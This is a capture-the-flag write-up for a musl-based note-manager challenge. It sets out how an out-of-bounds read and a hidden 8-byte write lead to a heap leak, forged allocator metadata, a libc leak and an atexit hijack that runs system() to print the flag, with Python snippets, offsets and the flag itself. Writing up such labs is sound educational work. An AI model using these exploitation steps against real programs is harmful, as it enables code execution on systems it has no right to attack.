Summary
This challenge provides a musl-based note manager with two vulnerabilities:
- An undocumented menu option that grants an arbitrary aligned 8-byte write.
- An out-of-bounds read that leaks heap and allocator metadata.
The exploit uses the OOB read to leak heap pointers, corrupts musl allocator metadata to obtain a controlled allocation, leaks a libc address, calculates the musl base address, and finally overwrites musl’s internal atexit() structures to execute:
1
system("cat flag.txt||cat /srv/dist/flag.txt")
and retrieve the flag.
Analysis
Recon
The supplied files included:
- Challenge binary
- Source code (
chall.c) - Matching
libc.so
Reviewing the source revealed the following menu definitions:
1
2
#define NOTE_MAGIC 5
#define NOTE_EXIT 6
Although the menu suggests option 5 is Exit, it actually invokes a hidden handler.
The handler performs:
1
*ptr = value;
after checking only that the address is 8-byte aligned.
This provides an arbitrary 8-byte write primitive that can be used repeatedly.
Arbitrary Write
The hidden menu option accepts:
- Address
- Value
and writes directly to memory:
1
*ptr = value;
No bounds checks are performed.
Out-of-Bounds Read
The read functionality validates only that:
1
size <= MAX_NOTE_SIZE
where:
1
MAX_NOTE_SIZE = 0x100
It never verifies the actual size of the allocated note.
As a result, reading 0x100 bytes from a smaller allocation leaks adjacent heap memory and musl allocator metadata.
Exploitation
Heap Leak
The exploit first creates a stable heap layout:
1
2
3
for i in range(36):
alloc(i, 0xA0)
write_note(i, b"A" * 0x20)
An out-of-bounds read on note 30 reveals allocator metadata:
1
2
l30 = read_note(30, 0x100)
m = u64(l30[0xD0:0xD8])
The leaked pointer m points into musl’s allocator structures and is later used to forge metadata.
Allocator Corruption
A fake allocator group is built immediately before the leaked metadata:
1
2
3
4
5
6
7
fake = m - 0x300
magic(fake + 0x0, m)
magic(fake + 0x8, 0)
magic(m + 0x10, fake)
magic(m + 0x18, 1)
By corrupting internal allocator fields, the next allocation of the same size class returns memory inside a controlled metadata region.
Libc Leak
After allocator corruption:
1
2
3
4
5
6
alloc(40, 0xA0)
l40 = read_note(40, 0x100)
leak = u64(l40[0x20:0x28])
libc = leak - 0xA68C0
A stable libc pointer is leaked and used to calculate the musl base address.
Relevant offsets:
1
2
3
4
SYSTEM = 0x48368
BUILTIN = 0xA36A0
HEAD = 0xA5DC8
SLOT = 0xA5FE4
Hijacking atexit
musl maintains an internal linked list of callbacks executed during exit().
The exploit forges a fake callback structure that invokes:
1
system("cat flag.txt||cat /srv/dist/flag.txt")
A command string is written into writable libc memory:
1
CMD = b"cat flag.txt||cat /srv/dist/flag.txt\x00"
The forged callback is then installed:
1
2
3
4
5
6
magic(b + 0x0, 0)
magic(b + 0x8, libc + SYSTEM)
magic(b + 0x108, cmd_addr)
magic(libc + HEAD, b)
Finally, the slot is activated:
1
magic(libc + SLOT - 4, 0x100000000)
and normal program termination is triggered:
1
io.sendlineafter(b"> ", b"6")
Execution flow becomes:
1
2
3
exit()
-> atexit handler
-> system("cat flag.txt||cat /srv/dist/flag.txt")
Final Exploit
1
2
# Full exploit omitted for brevity
# See original solve script
The exploit reliably leaks heap metadata, obtains a libc leak, hijacks musl’s atexit mechanism, and executes a command that prints the flag.
Flag
1
CTF{Y34h_th1s_1s_th3_actu4l_fl4g_n0w_my_b4d_0e13b023f341b48d}